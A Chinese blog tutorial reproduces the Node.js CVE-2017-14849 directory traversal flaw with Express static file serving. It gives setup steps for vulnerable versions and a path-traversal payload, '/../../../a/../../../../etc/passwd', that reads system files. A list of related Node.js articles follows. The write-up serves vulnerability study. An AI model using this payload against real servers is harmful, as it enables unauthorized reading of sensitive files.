淺談Node.js CVE-2017-14849 漏洞分析(詳細(xì)步驟)
0x00 前言
早上看Sec-news安全文摘的時(shí)候,發(fā)現(xiàn)騰訊安全應(yīng)急響應(yīng)中心發(fā)表了一篇文章,Node.js CVE-2017-14849 漏洞分析(https://security.tencent.com/index.php/blog/msg/121),然后想著復(fù)現(xiàn),學(xué)習(xí)學(xué)習(xí),就有了這篇文章。
0x01 漏洞簡(jiǎn)介
CVE(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14849)上面的描述是這樣的:
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
換成我們看的懂的意思就是node.js 8.5.0 到8.6.0 之間的版本會(huì)造成目錄穿越漏洞,讀取任意文件,而漏洞的原因是因?yàn)閷?duì)”..”的處理和另外的模塊不兼容。
打個(gè)比喻就是有一個(gè)人開(kāi)發(fā)這個(gè)模塊,另外的一個(gè)人開(kāi)發(fā)另外個(gè)模塊,大家對(duì)于這個(gè)東西的處理不一樣,從而導(dǎo)致出現(xiàn)了漏洞。而這里的模塊就是node.js 和 express。
影響版本:
Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5
0x02 node.js是什么
Node.js® 是一個(gè)基于 Chrome V8 引擎的 JavaScript 運(yùn)行時(shí)。 Node.js 使用高效、輕量級(jí)的事件驅(qū)動(dòng)、非阻塞 I/O 模型。它的包生態(tài)系統(tǒng),npm,是目前世界上最大的開(kāi)源庫(kù)生態(tài)系統(tǒng)。(抄從官網(wǎng))
0x03 express是什么
Express是基于 Node.js 平臺(tái),快速、開(kāi)放、極簡(jiǎn)的 web 開(kāi)發(fā)框架。(同樣抄從官網(wǎng))
0x04 如何復(fù)現(xiàn)
下面采用騰訊云開(kāi)發(fā)者實(shí)驗(yàn)室搭建環(huán)境進(jìn)行快速?gòu)?fù)現(xiàn)。
復(fù)現(xiàn)準(zhǔn)備:
0. 騰訊云開(kāi)發(fā)者實(shí)驗(yàn)室的云主機(jī)一臺(tái) (我這里用的是《基于 Ubuntu 搭建微信小程序服務(wù)》的實(shí)驗(yàn)主機(jī) ubuntu 16.04 64位)
1. node.js 8.5.0 (https://nodejs.org/download/release/v8.5.0/)
2. express-4.15.5 (https://github.com/expressjs/express/releases)
3. burpsuite
Step 1安裝node.js 8.5.0
下載node.js 8.5.0安裝包
wget https://nodejs.org/download/release/v8.5.0/node-v8.5.0-linux-x64.tar.gz
解壓安裝包
tar -zxvf node-v8.5.0-linux-x64.tar.gz
移到通用軟件安裝目錄/opt
mv node-v8.5.0-linux-x64 /opt/
安裝 npm 和 node 命令到系統(tǒng)命令
sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/node /usr/local/bin/node sudo ln -s /opt/node-v8.5.0-linux-x64 /bin/npm /usr/local/bin/npm
驗(yàn)證一下:
node -v
輸出版本號(hào)則表示配置成功
Step2 安裝express-4.15.5
下載express-4.15.5
wget https://github.com/expressjs/express/archive/4.15.5.tar.gz
解壓壓縮包
tar -zxvf 4.15.5.tar.gz
進(jìn)入express目錄下,安裝express
cd express-4.15.5 && npm install
進(jìn)入到expresss-4.15.5/examples/static-files目錄里
node index.js
Step 3 發(fā)送payload驗(yàn)證
Payload: /../../../a/../../../../etc/passwd

0x05 漏洞原理分析
為什么payload會(huì)是這樣的呢?請(qǐng)參考騰訊應(yīng)急響應(yīng)中心的那篇文章(https://security.tencent.com/index.php/blog/msg/121),寫的很言簡(jiǎn)意賅。
(還不是因?yàn)樽约翰?,分析不出。。。。?/p>
注意:該漏洞是建立在文件夾通過(guò)express.static 來(lái)托管的情況下,因?yàn)樵谶@種情況下才會(huì)使用normalize函數(shù)進(jìn)行path標(biāo)準(zhǔn)化。(發(fā)現(xiàn)來(lái)源于p神的分析)
比如代碼這樣寫:
app.use(express.static(path.join(__dirname, 'static')));
那么payload應(yīng)該是
/../../../a/../../../../etc/passwd
但代碼如果是這樣寫的話:
app.use('/static',express.static(path.join(__dirname, 'static')));
那么payload應(yīng)該為:
/static/../../../a/../../../../etc/passwd
0x06 后記
復(fù)現(xiàn)很簡(jiǎn)單,但分析原理很難。至少我現(xiàn)在還沒(méi)弄明白。等我弄明白了,再寫寫怎么分析與跟蹤吧。
其實(shí)這里有一個(gè)挺有意思的點(diǎn),那就是一些重大漏洞的追蹤問(wèn)題,關(guān)于這個(gè)漏洞官方早在九月份就已經(jīng)發(fā)布了說(shuō)明,而這個(gè)問(wèn)題是在最近才得到重視,很明顯就算是騰訊也沒(méi)有第一時(shí)間去跟蹤C(jī)VE的更新列表。
而在騰訊發(fā)了這篇文章之后,P神把復(fù)現(xiàn)環(huán)境給弄到了vulhub(https://github.com/vulhub/vulhub/tree/master/node/CVE-2017-14849),速度之快令人驚奇。然后再代碼審計(jì)里面發(fā)了,在微博里面發(fā)了。再接著整個(gè)安全圈其實(shí)都知道了。
然后這里我們得出了一個(gè)結(jié)論,如果想要得到第一手漏洞預(yù)警與學(xué)習(xí),應(yīng)該時(shí)刻關(guān)注著CVE列表,努力做第一個(gè)吃螃蟹的人。
以上就是本文的全部?jī)?nèi)容,希望對(duì)大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。
相關(guān)文章
淺析node中間件及實(shí)現(xiàn)一個(gè)簡(jiǎn)單的node中間件
這篇文章主要介紹了淺析node中間件及實(shí)現(xiàn)一個(gè)簡(jiǎn)單的node中間件,文章圍繞主題展開(kāi)詳細(xì)的內(nèi)容介紹,具有一定的參考價(jià)值,需要的小伙伴可以參考一下2022-09-09
Nodejs + Websocket 指定發(fā)送及群聊的實(shí)現(xiàn)
這篇文章主要介紹了Nodejs + Websocket 指定發(fā)送及群聊的實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2020-01-01
npm install安裝模塊-save和-save-dev命令的區(qū)別
這篇文章介紹了npm install安裝模塊-save和-save-dev命令的區(qū)別,對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2022-06-06
解決node.js含有%百分號(hào)時(shí)發(fā)送get請(qǐng)求時(shí)瀏覽器地址自動(dòng)編碼的問(wèn)題
這篇文章主要介紹了解決node.js含有%百分號(hào)時(shí)發(fā)送get請(qǐng)求時(shí)瀏覽器地址自動(dòng)編碼的問(wèn)題,非常不錯(cuò),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2019-11-11
NodeJs之word文件生成與解析的實(shí)現(xiàn)代碼
這篇文章主要介紹了NodeJs之word文件生成與解析的實(shí)現(xiàn)代碼,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2019-04-04
Nodejs提取網(wǎng)址參數(shù)解決“querystring”已棄用問(wèn)題
無(wú)論是前端還是后端,經(jīng)常出現(xiàn)的應(yīng)用場(chǎng)景是URL中參數(shù)的處理,下面這篇文章主要給大家介紹了關(guān)于Nodejs提取網(wǎng)址參數(shù)解決“querystring”已棄用問(wèn)題的相關(guān)資料,文中通過(guò)實(shí)例代碼介紹的非常詳細(xì),需要的朋友可以參考下2022-08-08
node.js使用redis儲(chǔ)存session的方法
這篇文章主要介紹了node.js使用redis儲(chǔ)存session的方法,本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2018-09-09

